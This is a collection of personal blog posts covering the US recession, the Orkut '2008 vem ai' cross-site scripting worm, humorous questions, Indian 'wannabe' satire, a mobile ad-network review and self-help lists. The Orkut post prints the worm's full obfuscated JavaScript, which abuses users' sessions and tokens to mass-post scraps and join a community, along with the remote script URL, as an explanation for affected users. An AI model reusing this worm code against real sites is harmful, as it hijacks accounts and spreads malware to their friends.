of American Recessions, Depressions and Wars

Its all over the idiot box, Cnn, bbc, nbc everywhere else. The US is officially under recession. Interestingly enough its the big boys whose fall has made the recession more profound.


Bears and Stearns Story

Bears and Stearns was recently acquired by JP morgan(which apparently isnt feeling good about its own future) with some(read lot) help from the fed. More interesting(interesting in a bad way...) is presumed to be coming our way with doubts being raised about other big boys like lehman brother and citi group.

Wasnt it expected?

Quite frankly the recession was expected, to some degree with the sub prime crisis. But what turned a crisis into a recession? I believe the same reason what caused a financial crisis to become a cause for recession will ultimately end up putting the US economy into a longer economic depression.

Enough analysts have discussed and are discussing and probably keep discussing the reasons for US economies fall out but as far as i am concerned, someone who isnt a finance guru, the reasons are very basic.

One of the major reasons why this crisis got out of hand is because of the propaganda that was carried in the media like CNN/BBC/NBC and other news sources.

Its strange when the industry biggies and major news channels start declaring recession even before there are any visible signs hitting the common man. The inflation wasnt out of control, people were still consuming, people were still spending.

The impact of real estate and its impact on bigger financial groups(ones more into mortgages and securities) was made out to be bigger then it was.

Strangely the slow down in real estate is cyclic and it happens in every country and it wasnt the first time it happened to US. Minor recessions are cyclic too and it wasnt the first time it happened to US either.

Recessions aren't all bad

Recessions are good in way, it kills the bad companies and gives an opportunity to better ones. for example a sure fall out of recession would be people loosing jobs, these laid off workers will work for lower wages in smaller companies, some of these companies will make it big by the time recession ends(actually being one of the reasons for recession ending).

These smaller companies other wise would never get a chance to hire brilliant people, people who are required to turn a good idea into a great company due to lack resources.

More importantly recession levels the playing field for a bigger firms and smaller firms, since the bigger firms carry the weight of their size while smaller firms can cut their losses by staying leaner.

How negative media impacts confidence

Anyways back to topic, why the impact of a negative media can be so profound in US is because its population is aging, when people age they want security, when you cast doubts over an old mans bank the immediate response is to withdraw some money just in case the news guy is right and my bank is doom.

You play the report for some more time, the old man doubts his bank more and withdraws some more money.

Eventually the a banks surplus depletes and the core banking sector suffers. A sick banking sector will lead to crisis.

Recession or Depression?

So far so good, recession was on the cards anyways right, so big deal, recessions go. Wrong. I believe you cant get a secondary sector healthy like retail or travel or mining by government intervention but i am afraid even the government cant do much about a ailing banking sector.

A banking sector is the backbone of a modern economy. A ailing banking structure cannot sustain a the stress of a companies surviving in a global slowdown(by global slow down i mean people reducing spend and not stock markets plateauing or crashing)

We will still have to wait and see if this is a recession or it turns in to a depression forcing companies to quit US for other economies.

Read more about the great depression of 1930's. If you spot some signs between the last depression and this one, shout out loud, i am listening.

On a side note, actually on the main note, i also proclaim if US drops into recession and the global slow down is seen, US will cause the wars between two regions probably backed by Nato directly or indirectly, why you ask?

US was only able to get over the last economy depression when world war 2 happened when it could supply defense and material to other nations.

Even now US earns a lot of dollars by supplying arms and ammunition to countries across the world, in times of war the spending in defense only increase.

A war between two countries is the surest way for US to boost its economy, since it would supply resources for people pay US and then kill them selves up.


I'll sum up why US is into a recession in 6 sentences

1. Aging population, looks for security, consumption drops, investment drops.

2. Not enough wars around for US to supply arms and ammunition at high rates. Competition from other countries.

3. US is spending on wars of Afghanistan/iraq and other missions.

4. Media and analysts making the crisis bigger then it was resulting in doubts in the minds of consumers and investors.

5. A string of medicore (i am being nice here) leadership(bushs and clintons and others).The next president(mcCain, barak or clinton) are worse then the earlier ones.(the worse so far is harry truman (the animal that dropped atomic bomb on hiroshima killing 80,000 people in an instant)

6. Bad financial decisions(like offering loans and credit without proper documentation and down payment leading to sub prime), bad investment decisions by the same guys who are supposed to offer the common investor financial advice to change his fortunes(what an irony)


America is in trouble(atleast for a while), problem is with the wrong president, we might all be in trouble soon.

Update: Visa had a great IPO in a market assumed to be in recession.

Ps. if you spot some errors, shout and i shall correct myself.(im no US president, i can admit mistakes you know)

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Orkut XSS attack - that "2008 vem ai... que ele comece mto bem para vc" thingie

Orkut XSS Attack - "2008 vem ai... que ele comece mto bem para vc" thing

A lot of you have probably been wondering how you received a scrap saying " 2008 vem ai... que ele comece mto bem para vc" from me or possibly from some friend of yours.

Its called xss attack or cross site scripting attack. A piece of javascript code(on clients side that is your browser) gets executed, when you receive a scrap from your friends id(obviously after his orkut session is infected with the malicious code) with the spam message and started scrapping everyone. This happens when you log into your orkut scrapbook to read the malicious scrap.

When someone sends you a spam scrap and you read that the same scrap is sent to your friends from your account. This will spread for the coming few days possibly till orkut takes some measures.

Steps you can take:

If possible change your gmail account password and do not login to orkut till they sort this out.

Courtesy: Antrix.net(find link in comments)

The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js

function $(p,a,c,k,e,d) {

e=function(c) {

   return(c35?String.fromCharCode(c+29):c.toString(36))

};

if(!''.replace(/^/,String)){

   while(c--){d[e(c)]=k[c]||e(c)}

   k=[function(e){return d[e]}];

   e=function(){return'\\w+'};

   c=1

};

while(c--){

   if(k[c]){

       p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])

   }

}

return p

};

setTimeout(

$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}

L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};

7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+

(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");

8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1)

{h=l.S(A);6(h!=0){b 2h}}16{h+=2};

5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};

7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")

+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};

7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7()

{6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");

t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0))

;f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};

3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();

3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);

3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);

3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};

7 V(){6(j==8.18("N").M){b};

5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>

[1j]25 "+i F()+"[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\'); r.1o=" 1c="\\" 1e="\\">";

5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();

3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");

3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};

6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();

',62,150,'|||xml||var|if|function|document|domain|send|

return|path|wDate||select|name|begin|new|index|

www|dc|expires|encodeURIComponent|http|com|POST|script|

wormdoorkut|div|end|getCookie|orkut||cookie|aspx

|prefix|createXMLHttpRequest|true|getElementsByTagName|S

IG|Date|loadFriends|POST_TOKEN|scrapText|null|

signature|catch|length|selectedList|item|value|application|

open|indexOf|cmm_join|secure|sendScrap|setCookie|

readyState|onreadystatechange|try|Content|86400

|setRequestHeader|embed|ActiveXObject|Action|else|form|

getElementById|escape|status|urlencoded|200|setTime

|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|

createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|

GMT|go|GET|Compose|width|innerHTML|height|option|

setAttribute|id|submit|style|display|none|removeChild

|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|

history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|

raw|LoL|Msxml2|type|Microsoft|shockwave|flash|

wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera

|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1

);

author="Rodrigo Lacerda"



The orkut website is built on asp.net,

if you wish to read the technical side

of preventing xss attacks in asp.net go here 



Update:

1.) The problem seems to have sorted out by orkut in

2 days(thats long)

2.) 400,000 users affected.

3.) Top users affected by country

US, Germany, India, Brazil

4.) Orkut has still not accepted it was

a mistake from their side.The official orkut blog

is still mum on the incidence.

5.) Your password is safe, though it was possible

to hack your gmail password if say the virus

redirected to you to a page which looked

exactly like orkut and asked you to relogin.



A

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Few questions no one has answers to(and noone cares)

Since we were kids we were always told to shut up when we asked the grown ups questions they did not know answers too like when your dad would ask your mom to tell anyone who calls he is not home and you would go why

Eventually it becomes a habbit to not ask questions that no one has answers to unless you happen to be me so here goes the world blame me all you will i dare to ask yet again!


1. If earth is in solar system and solar system is in galaxy and galaxy is in universe what is the universe in?

2. If sky is blue because the oceans blue how is the ocean blue?

3. Why is the most beautiful girl in class always in the next class, bus, car, train, plane?

4. Between a girl and a guy, how is a guy always wrong?

5. If humans evolved from monkeys what did monkeys evolve from?

6. Why doesnt "tulsi" virani get old and die

7. If marriage is a holy instituion how do we graduate from it?

8. Why do guys become bald after marriage?

9. Why do women live longer than guys?

10. Why are chromosomes named x and y and not a and b?

11.Why do people constantly return to the refrigerator with hopes that something new to eat will have materialized? (heard somewhere)

12. Whenever an adult is kidnapped why isn't it called adultnapped??(heard somewhere)

13. Why do we all think we sing well?

14. Can a school teacher give a homeless child homework?(heard somewhere)

15. If god is great and great souls are humble why does he wanne be worshipped?

16. Why is Mickey Mouse bigger than his dog Pluto?(heard somewhere)

17. Why is it called a "building" when it is already built?(heard somewhere)

18. Why does the red light always go on as you reach a traffic signal

19. Why is the traffic slow everytime you have to reach somewhere in hurry?

20. Why cant you find things when you are desperate to find them?

21. Why do superheroes wear underpants outside?

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Welcome to the wannabe nation

This post is about a nation obsessed with being someone else completely hating its own identity and in trying to become someone else is ending up confused. Namaste, welcome to the most wannabe nation in the world. welcome to India.


You know someone is a wannabe when

1. When you work in a call center asking Americans to pay their bills but look down upon to the domestic call center guy who tells Indians to pay the bills

2. You completely despise bidhi(Desi ciggrate) but sell your dogs food to go to a hookah bar

3. You wear short tees really short and keep pulling them down

4. You wear low waist jeans really low(or loose fit)jeans and keep pulling them up

5. Your mom goes for kittyy parties not knowing who was a kitty why did she start such sad party

6. The bouncers at the disco see you more often than the guy who made the mistake of giving you birth(bless that poor soul)

7. You adore shakira, deepika padukone, bipasha and all the dusky women but would look for a "fair girl" when wanting to get married

8. You code cause it pays well, you copy every line of code from Google and write your name in the comment section

9. You wait for your chance to get a on site project and then come home tell people it was fun and you dated American chicks smartly hiding the 16 hr work shifts and countless abuses from Americans not to forget none of the American chicks looked at you while you were there.

10. You look for a wife/husband on those online matrimony sites but match religion, caste, kundli and want traditional wife/husband

11. You sell your chaddis to get on page 3 not realizing noone reads page but yourself and other wannabes.

12. Your name just got mutilated and you feel happy about it Vishal became vishy, pooja become poo(isn't that a dogs name? a diseased dumb dog?) 


13. You call everyone a dude, everyone, your mom, your dog, cause everyone else calls your dude instead of dodo which they should call you

14. You completely agree that god doesn't exist but are seen at siddhivinayaka temple after exams doing some scintific research with folded hands


I'm not done yet, more coming...

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mGinger Mobile Ad Network Review

MGinger Social Adnetwork

There has been a lot of buzz on the internet specially the social networking sites like Orkut about mGinger, its a mobile ad network that pays you to read ads on your mobile.

The idea is simple like all other multi level marketing schemes, you join and refer your friends, your friends refer their friends and you have a 2 tier network going.

When your friends or their friends reads a ad on their mobile you get a share of the profit.
According to their website the average earning if you just refer 10 friends who refer 10 of their friends will be 1860 which is not bad.

But whether advertisers will buy mGinger is still a question. Everyone knows when people get paid to watch ads thats exactly what they do watch ads to get paid not because they are genuinely interested, expect a lot of fake profiles, fake mobiles, people selecting all categories just to receive ads a lot of fraud.

In my view advertisers will stay away from such schemes unless the profiles can be screened.
basically from a advertisers point of view paying by audience to see my message is a bad idea.

But then you never know lets wait and watch if this ginger spices up my wallet as well.

Visit mGinger Website(aff)

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How to be remarkable

1. Understand the urgency of the situation. Half-measures simply won’t do. The only way to grow is to abandon your strategy of doing what you did yesterday, but better. Commit.

2. Remarkable doesn’t mean remarkable to you. It means remarkable to me. Am I going to make a remark about it? If not, then you’re average, and average is for losers.

3. Being noticed is not the same as being remarkable. Running down the street naked will get you noticed, but it won’t accomplish much. It’s easy to pull off a stunt, but not useful.

4. Extremism in the pursuit of remarkability is no sin. In fact, it’s practically a requirement. People in first place, those considered the best in the world, these are the folks that get what they want. Rock stars have groupies because they’re stars, not because they’re good looking.

5. Remarkability lies in the edges. The biggest, fastest, slowest, richest, easiest, most difficult. It doesn’t always matter which edge, more that you’re at (or beyond) the edge.

6. Not everyone appreciates your efforts to be remarkable. In fact, most people don’t. So what? Most people are ostriches, heads in the sand, unable to help you anyway. Your goal isn’t to please everyone. Your goal is to please those that actually speak up, spread the word, buy new things or hire the talented.

7. If it’s in a manual, if it’s the accepted wisdom, if you can find it in a Dummies book, then guess what? It’s boring, not remarkable. Part of what it takes to do something remarkable is to do something first and best. Roger Bannister was remarkable. The next guy, the guy who broke Bannister’s record wasn’t. He was just faster … but it doesn’t matter.

8. It’s not really as frightening as it seems. They keep the masses in line by threatening them (us) with all manner of horrible outcomes if we dare to step out of line. But who loses their jobs at the mass layoffs? Who has trouble finding a new gig? Not the remarkable minority, that’s for sure.

9. If you put it on a T-shirt, would people wear it? No use being remarkable at something that people don’t care about. Not ALL people, mind you, just a few. A few people insanely focused on what you do is far far better than thousands of people who might be mildly interested, right?

10. What’s fashionable soon becomes unfashionable. While you might be remarkable for a time, if you don’t reinvest and reinvent, you won’t be for long. Instead of resting on your laurels, you must commit to being remarkable again quite soon.

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Read This Now!

How often have you come across emails and inspirational quotes which say rules to live by or lessons learnt in life?
Somehow all that lecture seems to be bookish and too idealistic for me.
Here is my low down on things i have learned the hard way.

Learn to say No
Yeps thats true half the problems in your life are caused because you dnt know how to say no or maybe not now. People who know how to say no are lot happier!I'm still bad at it but i'm learning fast. I figured when i cnt say no i can always say not now. It works as fine.

Smile

Well thats one thing that can save ur butt more often than not, it makes you look good too.

Friends

Friends are very important for me at times more important than family. But there will be very few you can bank your life on. Luckily i always had a few. Call everyone your friend but the precious few should be given the importance and attention they deserve. Others will be with you as long as they are having fun with you.

Death

That's the only thing in life that is final. Everything else can either be reveresed or not as important anyways. Pople have gone through worse experiences than me but with what i have seen death is one thing that can leave you helpless. I had a pet named beauty, cause i literaly raised ger along with my sis since she was 20 days old we were attached a lot with her. In her final days she had kidney failure, being the hard core optimist that i am i thot maybe i can save her. Read all books learned more than the doctors here but one day my dad made me realise i can only delay cause her more pain but its inevitable. Accept it. No choice.Watch them go.

Gods greatest gift to mankind
Its a S word. Any guesses? No sickos it's your sense of humour. Use it then abuse it then be a joker and play around or crack a joke on a funeral.
Humour is the one thing that makes the world a really happy place. Quite literally!
P.S Sense of humour in gals really sucks so if you come across anyone with a rocking sense of humour u knw who to introduce her right?;)

People
If it was possible i wld prefer living in a jungle like mowgli playing with wolves n stuff but since we dnt have a choice follow a few rules.

Be polite to all initially, test them and find out whts their true worth and decide wt level of interaction you want to have with them.
So some for me are purely casual friends even if they want to be closer friends i dnt care. some are purely acquaitances for business.

Its important to test them and decide whats gonna be their part in your life!

Stay away from pretenders and fakersPeople wear masks. They pretend to be what they are not. Eyes tell a lot. Learn to read them.

Motive in life
Have you been confused abt whats the motive of your life?
In my view its finding the best talent you have that you enjoy using and surprising people with.Its not important what field it might be. Sachin had a great temperament and gift of timing. If not cricket he cld do well in any game in which timing and pressure handling are essential.
So more than the field of operation using the talent that is unique to you is what is more important.
 

Fear of failure and ridicule
If you can get rid of the thought that says what if i fail?
And what will people think of me?
You have literally taken yourself miles ahead of your competition in just a moment. Think about it!

Make a list of things that scare you go face them one by one. Bungee jumping is next in my list.

Greatest art

Communication. Easier said than done but its important to accomplish any task that involves people.

Attitude maketh a man

Need to explain this one.?

Keep on learning

Never stop learning and learn anything good you see in anyone. Even your worst foe. Keep improving your self. Keep getting better. You are never too good you knw.

Be down to earth
No point in being the best out there when your nature sucks in the first place.

Don't follow trends
The problem with following trends is that everyone else is following them too. In the end we all look same dnt we?
I went to club 7 sometime back and its amazing how all of them at discs look and dress up same.
All girls wear a sleeveless dark blue or black top and three fourth denims with straightened hair and all guys wear loose fit blue jeans and half sleeve shirts and have spike cut.
Losers!
Its better to stand out then gel in! Cant blv people do stuff because everyone else is doing them. Royal Crap.

Don't be someone else
Be urself dnt try to be someone else! I know people who put this fake picture of being confident and cool but something about them is so damn hollow.

Never do things that are not you. Smoking was never me i never liked it i never smoked a ciggy ever. rap music isnt me so i dnt care if everyone finds it cool i wldnt listen to it.
Do things that define you. dnt get defined by things that other people find cool.

Savior in bad times

It happens in life whn dude almighty takes all your powers to think. It happens to everyone once examples amitabh, ganguly. Just write it down a paper like a will who will take decisions for you when you cnt and thn pray tht person doesnt screw you up. My sis is my appointed savior in bad times.

Keep your cool

The ability to keep your cool in pressure situations or when people expect or incite you to react can make a lot of difference. keep your cool in every situation. It can be your greatest strength. Never loose your temper!Never get stirred!

Don't take things too personally Forgive, Forget Move on
There are frustated jerks out there. I have seen some people get hurt by what people say to them. Man you cnt survive being that soft hearted.
There are people who would say things just to put you down. Never take things people say too personally. Its gona waste your time. Forgive and forget.

Don't take life to seriously
Watch instant khichdi and great indian comedy show. Then take a dose of garfield.

Use the middle finger wisely
Learn frm greg chappel! Not everyone that demands explaination needs to be given one. Not everyone that argues with you needs to be argued with. Not everyone who throws shit at you needs to be tolerated.
Use the mighty middle finger wisely. It tells the useless ones they are not important and ignored.
Its saves a lot of valuable time and energy and shows them their rightful place too.

Snooze and loose rule
when you get a chance jump on it put a saddle on it put your stamp on it and ride it.

Play around cause its a short life folksies!
Enjoy evry second of your existence! Play around every moment. As long as you are not hurting anyone and doing something you will have to hide later everything is cool.

A

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